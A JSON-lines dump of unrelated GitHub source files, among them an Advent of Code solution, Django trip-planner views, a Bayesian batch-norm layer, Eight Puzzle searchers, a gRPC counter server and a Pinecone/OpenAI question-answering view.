self.asset_dfs[self.asset_sel].copy()\r\n f1, f2 = normalize0(df)\r\n\r\n self.asset_sel = (self.asset_sel + 1) % len(self.asset_names)\r\n\r\n self.dynamic = Dynamic(df, self.bp, self.warmup)\r\n\r\n info = self.dynamic.get_observation()\r\n return np.array([info['Close'], info['Volume'], 0], dtype=np.float32)\r\n\r\n def render(self, mode='console'):\r\n # if mode != 'console':\r\n # raise NotImplementedError()\r\n\r\n print(\"portforlio value\", self.dynamic.v)\r\n # TODO: wtf\r\n\r\nif __name__ == \"__main__\":\r\n env = MarketEnv()\r\n #print(env.observation_space.sample()); exit()\r\n check_env(env, warn=False)\r\n","repo_name":"thomasgaozx/fin-RL","sub_path":"market_env.py","file_name":"market_env.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2212536851","text":"#!/usr/bin/python\n\"\"\"\nSolution to Day 14 of the Advent of Code 2022 event.\n\nhttps://adventofcode.com/2022/day/14\n\nUsage:\n If using an input file 'solution.py --input-file '\n If using text as input 'solution.py --input-text \"\"'\n\"\"\"\nfrom dataclasses import dataclass, field\nimport argparse\n\n\n@dataclass\nclass Reservoir():\n \"\"\"Class that defines the reservoir\"\"\"\n contents: dict[tuple, str] = field(default_factory=dict)\n\n def drop_sand(self) -> bool:\n \"\"\"Drop sand into reservoir\"\"\"\n drop_x = 500\n drop_y = max(y for (x, y) in self.contents)\n for y in range(drop_y):\n if (drop_x, y + 1) not in self.contents:\n continue\n if (drop_x - 1, y + 1) not in self.contents:\n drop_x -= 1\n elif (drop_x + 1, y + 1) not in self.contents:\n drop_x += 1\n else:\n self.contents[(drop_x, y)] = \"o\"\n if (drop_x, y) != (500, 0):\n return True\n return False\n return False\n\n def add_floor(self):\n \"\"\"Adds a floor to the contents\"\"\"\n drop_y = max(y for (x, y) in self.contents) + 2\n for drop_x in range(-800, 801): # could be increased\n self.contents[(drop_x, drop_y)] = \"#\"\n\n\n@dataclass\nclass Solution():\n \"\"\"Class that builds the solution\"\"\"\n\n input_data: list = field(default_factory=list)\n reservoir: dict[tuple, str] = field(default_factory=dict)\n result_part_one: int = 0\n result_part_two: int = 0\n\n def get_arguments(self) -> None:\n \"\"\"Handles the arguments that are available for this class\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input-file\", type=str, required=False,\n help=\"Input file\")\n parser.add_argument(\"--input-text\", type=str, required=False,\n help=\"Input text\")\n args = parser.parse_args()\n if args.input_file:\n self.process_input(args.input_file)\n elif args.input_text:\n self.process_input(args.input_text, False)\n self.result_part_one = self.drop_sand_until_abyss()\n self.result_part_two = self.drop_sand_until_floor()\n\n def process_input(self, input_data, is_file=True) -> None:\n \"\"\"Reads the input file\"\"\"\n if is_file:\n with open(input_data, 'r', encoding=\"utf-8\") as file:\n self.input_data = file.read().splitlines()\n else:\n self.input_data = input_data.splitlines()\n\n def load_reservoir(self) -> Reservoir:\n \"\"\"Load reservoir from input_data\"\"\"\n reservoir = Reservoir()\n for line in self.input_data:\n path = [point.split(\",\") for point in line.split(\"->\")]\n points = [(int(point[0]), int(point[1])) for point in path]\n\n for point_1, point_2 in zip(points, points[1:]):\n x1, y1 = point_1\n x2, y2 = point_2\n\n for x in range(min(x1, x2), max(x1, x2) + 1):\n reservoir.contents[(x, y1)] = \"#\"\n for y in range(min(y1, y2), max(y1, y2) + 1):\n reservoir.contents[(x1, y)] = \"#\"\n return reservoir\n\n def drop_sand_until_abyss(self) -> int:\n \"\"\"\n Resturns the number of sand dropped into the reservoir until\n it reaches the abyss\n \"\"\"\n reservoir = self.load_reservoir()\n return self.drop_until_end(reservoir)\n\n def drop_until_end(self, reservoir) -> int:\n \"\"\"Return number of sand dropped until it reaches the end\"\"\"\n dropped_number = 0\n while reservoir.drop_sand():\n dropped_number += 1\n return dropped_number\n\n def drop_sand_until_floor(self) -> int:\n \"\"\"\n Resturns the number of sand dropped into the reservoir until\n it reaches the floor\n \"\"\"\n reservoir = self.load_reservoir()\n reservoir.add_floor()\n return self.drop_until_end(reservoir) + 1\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n solution.get_arguments()\n print(f\"Solution Part One : {solution.result_part_one}\")\n print(f\"Solution Part Two : {solution.result_part_two}\")\n","repo_name":"spicydilly/advent-of-code-2022","sub_path":"day-14/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":4255,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"12841789548","text":"from django.urls import path\nfrom .views import *\n\n\napp_name = 'env_delivery'\nurlpatterns = [\n path('medicine/', MedicineCreateView.as_view()),\n path('umedicine/', MedicineUpdateView.as_view()),\n path('order/', MakeOrderView.as_view()),\n path('list/', ListOrderView.as_view()),\n\n\n]","repo_name":"ihogoza/env_delivery","sub_path":"delivery/delivery_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42638841457","text":"while True:\n try:\n notas = []\n habitantes, consultas = map(int, input().split())\n for c in range(habitantes):\n notas.append(int(input()))\n notas.sort(reverse=True)\n for c in range(consultas):\n p = int(input())\n print(notas[p - 1])\n\n except EOFError:\n break\n","repo_name":"brunodutraa/Uri-Beecrowd-python-solutions","sub_path":"Python-URI-Beecrowd/2534.py","file_name":"2534.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"42119884044","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom apps.login_registration_app.models import *\nfrom django.contrib import messages\nfrom datetime import *\n\nfrom datetime import date, datetime, timezone\n\ndef dashboard_display(request):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n current_user_trips = Trip.objects.filter(creator = current_user)\n current_user_joined_trips = current_user.travelers.all()\n all_other_trips = Trip.objects.exclude(creator = current_user)\n\n context = {\n 'current_user': current_user,\n 'current_user_trips': current_user_trips,\n 'current_user_joined_trips' : current_user_joined_trips,\n 'all_other_trips': all_other_trips,\n\n }\n\n return render(request, 'trip_buddy_app/dashboard.html', context)\n\ndef create_trip_display(request):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n\n context = {\n 'current_user': current_user\n }\n\n return render(request, 'trip_buddy_app/display_create_trip.html', context)\n\ndef edit_trip_display(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n\n current_user = User.objects.get(id=request.session['user_id'])\n current_trip = Trip.objects.get(id=trip_id) \n\n if current_user.id != current_trip.creator.id:\n return redirect('/')\n\n request.session['current_trip'] = trip_id\n\n start_date = current_trip.start_date\n end_date = current_trip.end_date\n\n context = {\n 'current_user': current_user,\n 'current_trip': current_trip,\n 'current_trip_start_date': str(start_date),\n 'current_trip_end_date': str(end_date)\n }\n\n return render(request, 'trip_buddy_app/display_edit_trip.html', context)\n\ndef create_trip_process(request):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n\n errors = Trip.objects.basic_validator(request.POST)\n\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request,value)\n return redirect(\"/trips/new\")\n else:\n new_trip = Trip.objects.create(\n destination= request.POST['destination'],\n start_date=request.POST['start_date'],\n end_date=request.POST['end_date'],\n plan=request.POST['plan'],\n creator=current_user)\n \n new_trip.save()\n\n return redirect('/dashboard')\n\ndef edit_trip_process(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_trip = Trip.objects.get(id=request.POST['trip_id'])\n\n errors = Trip.objects.basic_validator(request.POST)\n\n if len(errors) > 0:\n for key, value in errors.items():\n messages.error(request,value)\n return redirect(\"/trips/edit\")\n else:\n current_trip.destination = request.POST['destination']\n current_trip.start_date = request.POST['start_date']\n current_trip.end_date = request.POST['end_date']\n current_trip.plan = request.POST['plan']\n \n current_trip.save()\n\n return redirect('/dashboard')\n\ndef trip_display(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_trip = Trip.objects.get(id=trip_id)\n current_user = User.objects.get(id=request.session['user_id'])\n\n list_of_trips_travelers = current_trip.travelers.all()\n\n context = {\n 'current_user': current_user,\n 'current_trip': current_trip,\n 'current_trip_travelers': list_of_trips_travelers,\n }\n\n return render(request, 'trip_buddy_app/display_trip_details.html', context)\n\ndef user_join_trip(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n current_trip = Trip.objects.get(id=trip_id)\n\n current_trip.travelers.add(current_user)\n\n return redirect('/dashboard')\n\ndef user_leave_trip(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n current_trip = Trip.objects.get(id=trip_id)\n\n current_trip.travelers.remove(current_user)\n\n return redirect('/dashboard')\n\ndef remove_trip(request, trip_id):\n if request.session['user_id'] == 'logged out':\n return redirect('/')\n\n current_user = User.objects.get(id=request.session['user_id'])\n current_trip = Trip.objects.get(id=trip_id)\n\n if current_trip.creator.id != current_user.id:\n return redirect('/')\n else:\n current_trip.delete()\n return redirect('/dashboard')","repo_name":"samhuynhle/trips_python","sub_path":"apps/trip_buddy_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4795837999","text":"r\"\"\"The shift-right operator.\"\"\"\n\nfrom typing import List\nfrom dataclasses import dataclass\nfrom jax import numpy as jnp\n\nArray = jnp.ndarray\n\n\n@dataclass\nclass ShiftRight:\n r\"\"\"Inserts padding to shift the sequence.\n\n >>> from jax import numpy as jnp\n >>> from flax_extra import operator as op\n >>> shift_right = op.ShiftRight(axis=0, n_positions=1)\n >>> shift_right(jnp.array([1, 2, 3]))\n DeviceArray([0, 1, 2], dtype=int32)\n \"\"\"\n\n n_positions: int = 1\n r\"\"\"a number of positions to shift.\"\"\"\n\n pad_id: int = 0\n r\"\"\"a padding identifier to insert.\"\"\"\n\n axis: int = 0\n r\"\"\"the operation will be performed along this axis.\"\"\"\n\n def __call__(self, inputs: Array) -> Array:\n def pad_width() -> List[tuple[int, int]]:\n acc = [(0, 0)] * len(inputs.shape)\n acc[self.axis] = (self.n_positions, 0)\n return acc\n\n padded = jnp.pad(\n inputs,\n pad_width=pad_width(),\n mode=\"constant\",\n constant_values=self.pad_id,\n )\n return jnp.take( # type: ignore\n padded,\n jnp.arange(padded.shape[self.axis] - self.n_positions),\n axis=self.axis,\n )\n","repo_name":"manifest/flax-extra","sub_path":"src/flax_extra/operator/_shift_right.py","file_name":"_shift_right.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"74938377421","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 21 17:51:55 2021\n\n@author: ZHANG Jun\n\"\"\"\n\n\nimport numpy as np\n\n# from pymatgen.core.periodic_table import Element\nfrom ase.data import atomic_numbers\n\nall_elements = ['Ac', 'Ag', 'Al', 'Am', 'Ar', 'As', 'At', 'Au', 'B', 'Ba',\n 'Be', 'Bh', 'Bi', 'Bk', 'Br', 'C', 'Ca', 'Cd', 'Ce', 'Cf',\n 'Cl', 'Cm', 'Cn', 'Co', 'Cr', 'Cs', 'Cu', 'Db', 'Ds', 'Dy',\n 'Er', 'Es', 'Eu', 'F', 'Fe', 'Fl', 'Fm', 'Fr', 'Ga', 'Gd',\n 'Ge', 'H', 'He', 'Hf', 'Hg', 'Ho', 'Hs', 'I', 'In', 'Ir',\n 'K', 'Kr', 'La', 'Li', 'Lr', 'Lu', 'Lv', 'Mc', 'Md', 'Mg',\n 'Mn', 'Mo', 'Mt', 'N', 'Na', 'Nb', 'Nd', 'Ne', 'Nh', 'Ni',\n 'No', 'Np', 'O', 'Og', 'Os', 'P', 'Pa', 'Pb', 'Pd', 'Pm',\n 'Po', 'Pr', 'Pt', 'Pu', 'Ra', 'Rb', 'Re', 'Rf', 'Rg', 'Rh',\n 'Rn', 'Ru', 'S', 'Sb', 'Sc', 'Se', 'Sg', 'Si', 'Sm', 'Sn',\n 'Sr', 'Ta', 'Tb', 'Tc', 'Te', 'Th', 'Ti', 'Tl', 'Tm', 'Ts',\n 'U', 'V', 'W', 'Xe', 'Y', 'Yb', 'Zn', 'Zr']\n\nelements = ['Ac', 'Ag', 'Al', 'Am', 'As', 'Au', 'B', 'Ba', 'Be',\n 'Bi', 'Br', 'C', 'Ca', 'Cd', 'Ce', 'Cl', 'Co', 'Cr', 'Cs',\n 'Cu', 'Dy', 'Er', 'Eu', 'F', 'Fe', 'Ga', 'Gd', 'Ge', 'H',\n 'Hf', 'Hg', 'Ho', 'I', 'In', 'Ir', 'K', 'La', 'Li', 'Lu',\n 'Mg', 'Mn', 'Mo', 'N', 'Na', 'Nb', 'Nd', 'Ni', 'Np', 'O',\n 'Os', 'P', 'Pb', 'Pd', 'Pm', 'Po', 'Pr', 'Pt', 'Pu', 'Ra',\n 'Rb', 'Re', 'Rh', 'Ru', 'S', 'Sb', 'Sc', 'Se', 'Si', 'Sm',\n 'Sn', 'Sr', 'Ta', 'Tb', 'Tc', 'Te', 'Th', 'Ti', 'Tl', 'Tm',\n 'U', 'V', 'W', 'Y', 'Yb', 'Zn', 'Zr']\n\nselected_elements = ['Ni', 'Co', 'Fe', 'Al', 'Ti']\n\n# elements_not_used = ['Ar', 'Bh', 'Cn', 'Db', 'Ds', 'Fl', 'Hs', 'Lv', 'Mc', 'Mt', 'Nh', 'Og', 'Rf', 'Rg', 'Sg', 'Ts']\n\nNiFe_ele = ['Fe', 'Ni']\n\nElements_used = elements\n\n# def get_atomic_features(Elements_used): # deprecated\n\n# \"\"\"\n# For more input features, please refer to: https://pymatgen.org/pymatgen.core.periodic_table.html\n\n# Returns\n# -------\n# None.\n\n# \"\"\"\n# atom_feat_data, atom_feat = [], {}\n# for i, element in enumerate(Elements_used):\n# atom_feat_tmp = []\n# atom_feat_tmp.append(Element(element).Z) # atomic number\n# atom_feat_tmp.append(Element(element).atomic_radius)\n# atom_feat_tmp.append(Element(element).molar_volume)\n# atom_feat_tmp.append(Element(element).atomic_mass)\n# atom_feat_tmp.append(Element(element).mendeleev_no)\n# atom_feat_tmp.append(Element(element).X) # Electronegativity of element\n# atom_feat_tmp.append(Element(element).boiling_point)\n# atom_feat_tmp.append(Element(element).melting_point)\n# atom_feat_tmp.append(Element(element).row)\n# atom_feat_tmp.append(Element(element).group)\n# atom_feat_tmp.append(Element(element).max_oxidation_state)\n# atom_feat_tmp.append(Element(element).min_oxidation_state)\n# atom_feat_data.append(atom_feat_tmp)\n\n# # scale the features\n# atom_feat_data = np.array(atom_feat_data)\n# max_list = np.max(atom_feat_data, axis=0)\n# min_list = np.min(atom_feat_data, axis=0)\n\n# for i in range(np.shape(atom_feat_data)[0]):\n# for j in range(np.shape(atom_feat_data)[1]):\n# atom_feat_data[i][j] = (atom_feat_data[i][j] - min_list[j]) / (max_list[j] - min_list[j])\n# for i_index, i in enumerate(Elements_used):\n# atom_feat[i] = atom_feat_data[i_index,:]\n# return atom_feat\n\ndef get_atomic_feature_onehot(Elements_used):\n \"\"\"\n Description\n ----------\n Get the atomic number of all considered elements.\n\n Returns\n -------\n atom_feat : dict\n atomic number of all considered elements\n \"\"\"\n\n number_of_elements = len(Elements_used)\n atomic_number = [atomic_numbers[x] for x in Elements_used]\n atoms_dict = dict(zip(atomic_number, Elements_used))\n\n atomic_number.sort()\n\n Elements_sorted = [atoms_dict[x] for x in atomic_number]\n\n keys = Elements_sorted\n element_index = [i for i, ele in enumerate(keys)]\n values = np.eye(number_of_elements)[element_index]\n atom_feat = dict(zip(keys, values))\n return atom_feat\n","repo_name":"jzhang-github/AGAT","sub_path":"agat/data/atomic_feature.py","file_name":"atomic_feature.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"} +{"seq_id":"72049730064","text":"import math\n\nimport torch\nfrom torch.nn import Module, Parameter\nimport torch.nn.init as init\nimport torch.nn.functional as F\n\nclass _BayesBatchNorm(Module):\n r\"\"\"\n Applies Bayesian Batch Normalization over a 2D or 3D input \n\n Arguments:\n prior_mu (Float): mean of prior normal distribution.\n prior_sigma (Float): sigma of prior normal distribution.\n\n .. note:: other arguments are following batchnorm of pytorch 1.2.0.\n https://github.com/pytorch/pytorch/blob/master/torch/nn/modules/batchnorm.py\n \n \"\"\"\n\n _version = 2\n __constants__ = ['prior_mu', 'prior_sigma', 'track_running_stats', \n 'momentum', 'eps', 'weight', 'bias',\n 'running_mean', 'running_var', 'num_batches_tracked',\n 'num_features', 'affine']\n\n def __init__(self, prior_mu, prior_sigma, num_features, eps=1e-5, momentum=0.1, affine=True, track_running_stats=True):\n super(_BayesBatchNorm, self).__init__()\n self.num_features = num_features\n self.eps = eps\n self.momentum = momentum\n self.affine = affine\n self.track_running_stats = track_running_stats\n if self.affine:\n self.prior_mu = prior_mu\n self.prior_sigma = prior_sigma\n self.prior_log_sigma = math.log(prior_sigma)\n \n self.weight_mu = Parameter(torch.Tensor(num_features))\n self.weight_log_sigma = Parameter(torch.Tensor(num_features))\n self.register_buffer('weight_eps', None)\n \n self.bias_mu = Parameter(torch.Tensor(num_features))\n self.bias_log_sigma = Parameter(torch.Tensor(num_features))\n self.register_buffer('bias_eps', None)\n else:\n self.register_parameter('weight_mu', None)\n self.register_parameter('weight_log_sigma', None)\n self.register_buffer('weight_eps', None)\n self.register_parameter('bias_mu', None)\n self.register_parameter('bias_log_sigma', None)\n self.register_buffer('bias_eps', None)\n if self.track_running_stats:\n self.register_buffer('running_mean', torch.zeros(num_features))\n self.register_buffer('running_var', torch.ones(num_features))\n self.register_buffer('num_batches_tracked', torch.tensor(0, dtype=torch.long))\n else:\n self.register_parameter('running_mean', None)\n self.register_parameter('running_var', None)\n self.register_parameter('num_batches_tracked', None)\n self.reset_parameters()\n\n def reset_running_stats(self):\n if self.track_running_stats:\n self.running_mean.zero_()\n self.running_var.fill_(1)\n self.num_batches_tracked.zero_() \n\n def reset_parameters(self):\n self.reset_running_stats()\n if self.affine:\n # Initialization method of Adv-BNN.\n self.weight_mu.data.uniform_()\n self.weight_log_sigma.data.fill_(self.prior_log_sigma)\n self.bias_mu.data.zero_()\n self.bias_log_sigma.data.fill_(self.prior_log_sigma)\n \n # Initilization method of the original torch nn.batchnorm.\n# init.ones_(self.weight_mu)\n# self.weight_log_sigma.data.fill_(self.prior_log_sigma)\n# init.zeros_(self.bias_mu)\n# self.bias_log_sigma.data.fill_(self.prior_log_sigma)\n\n def freeze(self) :\n if self.affine :\n self.weight_eps = torch.randn_like(self.weight_log_sigma)\n self.bias_eps = torch.randn_like(self.bias_log_sigma)\n \n def unfreeze(self) :\n if self.affine :\n self.weight_eps = None\n self.bias_eps = None \n \n def _check_input_dim(self, input):\n raise NotImplementedError\n\n def forward(self, input):\n self._check_input_dim(input)\n\n if self.momentum is None:\n exponential_average_factor = 0.0\n else:\n exponential_average_factor = self.momentum\n\n if self.training and self.track_running_stats:\n if self.num_batches_tracked is not None:\n self.num_batches_tracked += 1\n if self.momentum is None:\n exponential_average_factor = 1.0 / float(self.num_batches_tracked)\n else:\n exponential_average_factor = self.momentum\n\n if self.affine :\n if self.weight_eps is None : \n weight = self.weight_mu + torch.exp(self.weight_log_sigma) * torch.randn_like(self.weight_log_sigma)\n bias = self.bias_mu + torch.exp(self.bias_log_sigma) * torch.randn_like(self.bias_log_sigma)\n else : \n weight = self.weight_mu + torch.exp(self.weight_log_sigma) * self.weight_eps\n bias = self.bias_mu + torch.exp(self.bias_log_sigma) * self.bias_eps\n else :\n weight = None\n bias = None\n \n return F.batch_norm(\n input, self.running_mean, self.running_var, weight, bias,\n self.training or not self.track_running_stats,\n exponential_average_factor, self.eps)\n\n def extra_repr(self):\n return '{prior_mu}, {prior_sigma}, {num_features}, ' \\\n 'eps={eps}, momentum={momentum}, affine={affine}, ' \\\n 'track_running_stats={track_running_stats}'.format(**self.__dict__)\n\n def _load_from_state_dict(self, state_dict, prefix, local_metadata, strict,\n missing_keys, unexpected_keys, error_msgs):\n version = local_metadata.get('version', None)\n\n if (version is None or version < 2) and self.track_running_stats:\n num_batches_tracked_key = prefix + 'num_batches_tracked'\n if num_batches_tracked_key not in state_dict:\n state_dict[num_batches_tracked_key] = torch.tensor(0, dtype=torch.long)\n\n super(_BayesBatchNorm, self)._load_from_state_dict(\n state_dict, prefix, local_metadata, strict,\n missing_keys, unexpected_keys, error_msgs)\n \nclass BayesBatchNorm2d(_BayesBatchNorm):\n r\"\"\"\n Applies Bayesian Batch Normalization over a 2D input \n\n Arguments:\n prior_mu (Float): mean of prior normal distribution.\n prior_sigma (Float): sigma of prior normal distribution.\n\n .. note:: other arguments are following batchnorm of pytorch 1.2.0.\n https://github.com/pytorch/pytorch/blob/master/torch/nn/modules/batchnorm.py\n\n \"\"\"\n\n def _check_input_dim(self, input):\n if input.dim() != 4:\n raise ValueError('expected 4D input (got {}D input)'\n .format(input.dim()))","repo_name":"Harry24k/bayesian-neural-network-pytorch","sub_path":"torchbnn/modules/batchnorm.py","file_name":"batchnorm.py","file_ext":"py","file_size_in_byte":6724,"program_lang":"python","lang":"en","doc_type":"code","stars":398,"dataset":"github-code","pt":"47"} +{"seq_id":"25139638192","text":"from collections import deque\na,N=map(int,input().split())\nM=10**(len(str(N)))\nseen=[-1]*M\nseen[1]=0\nQ=deque()\nQ.append(1)\nwhile len(Q):\n q=Q.popleft()\n if q*a=10 and q%10!=0:\n q2=int(str(q)[-1]+str(q)[:-1])\n if q2 self.depth_limit and self.depth_limit != -1:\n return False\n return True\n\n def add_state(self, new_state):\n \"\"\" adds takes a single State object called new_state and adds it to the\n Searcher‘s list of untested states.\n \"\"\"\n self.states += [new_state]\n\n def __repr__(self):\n \"\"\" returns a string representation of the Searcher object\n referred to by self.\n \"\"\"\n # You should *NOT* change this method.\n s = type(self).__name__ + ': '\n s += str(len(self.states)) + ' untested, '\n s += str(self.num_tested) + ' tested, '\n if self.depth_limit == -1:\n s += 'no depth limit'\n else:\n s += 'depth limit = ' + str(self.depth_limit)\n return s\n\n def add_states(self, new_states):\n \"\"\" takes a list State objects called new_states, and that\n processes the elements of new_states one at a time\n \"\"\"\n for s in new_states:\n if self.should_add(s):\n self.add_state(s)\n\n def next_state(self):\n \"\"\" chooses the next state to be tested from the list of\n untested states, removing it from the list and returning it\n \"\"\"\n s = random.choice(self.states)\n self.states.remove(s)\n return s\n\n def find_solution(self, init_state):\n \"\"\" performs a full random state-space search, stopping when the\n goal state is found or when the Searcher runs out of untested states.\n \"\"\"\n self.add_state(init_state)\n while self.states != []:\n s = self.next_state()\n self.num_tested += 1\n if s.is_goal():\n return s\n else:\n self.add_states(s.generate_successors())\n\n return None\n\n\n### Add your BFSeacher and DFSearcher class definitions below. ###\n\nclass BFSearcher(Searcher):\n def next_state(self):\n \"\"\" Rather than choosing at random from the list of untested states, this\n version of next_state should follow FIFO (first-in first-out) ordering\n \"\"\"\n s = self.states[0]\n self.states.remove(s)\n\n return s\n\n\nclass DFSearcher(Searcher):\n def next_state(self):\n \"\"\" The necessary steps are very similar to the ones that you took for BFSearcher,\n but the next_state() method should follow LIFO (last-in first-out) ordering – choosing\n the state that was most recently added to the list.\n \"\"\"\n s = self.states[-1]\n self.states.remove(s)\n\n return s\n\n\ndef h0(state):\n \"\"\" a heuristic function that always returns 0 \"\"\"\n return 0\n\n\ndef h1(state):\n \"\"\" a heuristic function that always returns 1 \"\"\"\n return state.board.num_misplaced()\n\n### Add your other heuristic functions here. ###\n\n\nclass GreedySearcher(Searcher):\n \"\"\" A class for objects that perform an informed greedy state-space\n search on an Eight Puzzle.\n \"\"\"\n\n ### Add your GreedySearcher method definitions here. ###\n def __init__(self, depth_limit, heuristic):\n \"\"\" constructor for a GreedySearcher object\n inputs:\n * depth_limit - the depth limit of the searcher\n * heuristic - a reference to the function that should be used\n when computing the priority of a state\n \"\"\"\n # add code that calls the superclass constructor\n super(GreedySearcher, self).__init__(depth_limit)\n self.heuristic = heuristic\n\n def __repr__(self):\n \"\"\" returns a string representation of the GreedySearcher object\n referred to by self.\n \"\"\"\n # You should *NOT* change this method.\n s = type(self).__name__ + ': '\n s += str(len(self.states)) + ' untested, '\n s += str(self.num_tested) + ' tested, '\n s += 'heuristic ' + self.heuristic.__name__\n return s\n\n def priority(self, state):\n \"\"\" takes a State object called state, and that computes and returns the priority of that state.\n \"\"\"\n priority = -1 * self.heuristic(state)\n return priority\n\n def add_state(self, state):\n \"\"\" Rather than simply adding the specified state to the list of untested states, the method\n should add a sublist that is a [priority, state] pair, where priority is the priority of state,\n as determined by calling the priority method.\n \"\"\"\n self.states += [[self.priority(state), state]]\n\n def next_state(self):\n \"\"\" This version of next_state should choose one of the states with the highest priority. \"\"\"\n s = max(self.states)\n self.states.remove(s)\n\n return s[1]\n\n\n### Add your AStarSeacher class definition below. ###\n\nclass AStarSearcher(GreedySearcher):\n def priority(self, state):\n \"\"\" takes a State object called state, and that computes and returns the priority of that state.\n \"\"\"\n priority = -1 * (self.heuristic(state) + state.num_moves)\n return priority\n\n\nb = Board('142358607')\ns = State(b, None, 'init')\na = AStarSearcher(-1, h1)\na.add_state(s)\nsucc = s.generate_successors()\na.add_state(succ[1])\n","repo_name":"LLLn-J/CS111","sub_path":"Problem Set 12/project/searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73321157903","text":"import os\nimport sys\nfrom concurrent import futures\nfrom time import sleep\n\nimport counter_pb2\nimport counter_pb2_grpc\nimport grpc\n\n__ONE_DAY_BY_SECOND = 60 * 60 * 24\n\n\n# HOST = '[::]' # [::] is allow all host\n\n\nclass Counter(counter_pb2_grpc.CounterServicer):\n total_count = 0\n page_count = dict()\n\n @staticmethod\n def clear_screen():\n from sys import platform as _platform\n if _platform == 'win32':\n comm = 'cls'\n else:\n comm = 'clear'\n\n os.system(comm)\n\n @classmethod\n def print_data(cls):\n Counter.clear_screen()\n write_func = sys.stdout.write\n write_func(\"\\n\")\n write_func(\"---------------------\\n\")\n write_func('Hits:\\n')\n for page_name in cls.page_count.keys():\n write_func('%s: %d\\n' % (page_name, cls.page_count[page_name]))\n write_func(\"---------------------\\n\")\n\n sys.stdout.flush()\n\n def Increment(self, request, _):\n Counter.total_count += 1\n try:\n Counter.page_count[request.name] += 1\n except KeyError:\n Counter.page_count[request.name] = 1\n\n self.print_data()\n\n return counter_pb2.IncrementResponse(count=Counter.page_count[request.name])\n\n\ndef run_server(bind_addr):\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n counter_pb2_grpc.add_CounterServicer_to_server(Counter(), server)\n server.add_insecure_port(bind_addr)\n server.start()\n print(\"Counter Server Start!!!\")\n\n try:\n while True:\n sleep(__ONE_DAY_BY_SECOND)\n except KeyboardInterrupt:\n server.stop(0)\n\n\nif __name__ == '__main__':\n run_server()\n","repo_name":"goodatlas/gRPC_python","sub_path":"counter/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70507393422","text":"from django.shortcuts import render\nimport os\nimport openai\nimport pinecone\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n# Get the OpenAI and Pinecone API keys from the .env file\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\npinecone_api_key = os.getenv(\"PINECONE_API_KEY\")\n \n\n# Initialize Pinecone with the API key and select the index\npinecone.init(api_key=pinecone_api_key, environment='us-west4-gcp')\npinecone_index = pinecone.Index(os.getenv(\"PINECONE_INDEX_NAME\"))\n\ndef get_embedding(text, model=\"text-embedding-ada-002\"):\n \"\"\"\n Get the embedding for the given text using the OpenAI API.\n \"\"\"\n text = text.replace(\"\\n\", \" \")\n \n return openai.Embedding.create(input=[text], model=model)['data'][0]['embedding']\n\ndef generate_answer(question=\"\", supporting_text=[], system_message=\"You are a helpful assistant that can answer questions about the OpenSAFELY platform using the supporting text provided. If the answer is not in the supporting text, you can say 'No similar text found in the documentation'. You can include code blocks where appropriate.\"):\n \"\"\"\n Generate an answer to the given question using the OpenAI GPT-3.5 API.\n \"\"\"\n if len(supporting_text) == 0:\n return \"No similar text found in the documentation. Please try again.\"\n \n # Define the chat messages for the OpenAI API\n messages = [\n {\"role\": \"system\", \"content\": system_message},\n {\"role\": \"user\", \"content\": f\"The supporting texts from the documentation are: {supporting_text}\"},\n {\"role\": \"user\", \"content\": \"What is the answer to the question?\"},\n {\"role\": \"user\", \"content\": question}\n ]\n\n # Get the response from the OpenAI API\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=messages,\n n=1,\n top_p=1,\n temperature=0.1,\n )\n\n answer = response['choices'][0]['message']['content'].strip()\n return answer\n\ndef query_pinecone(query_vector, top_k=5):\n \"\"\"\n Query the Pinecone index with the given query vector and return the top-k results.\n \"\"\"\n print(\"Querying Pinecone index...\")\n \n results = pinecone_index.query(\n vector=query_vector,\n top_k=top_k,\n include_values=False,\n include_metadata=True\n )\n \n return results\n\ndef index(request, system_message=None):\n \"\"\"\n View function for the homepage. Allows the user to ask a question and returns an answer with \n the top 5 sections of supporting text from the OpenSAFELY 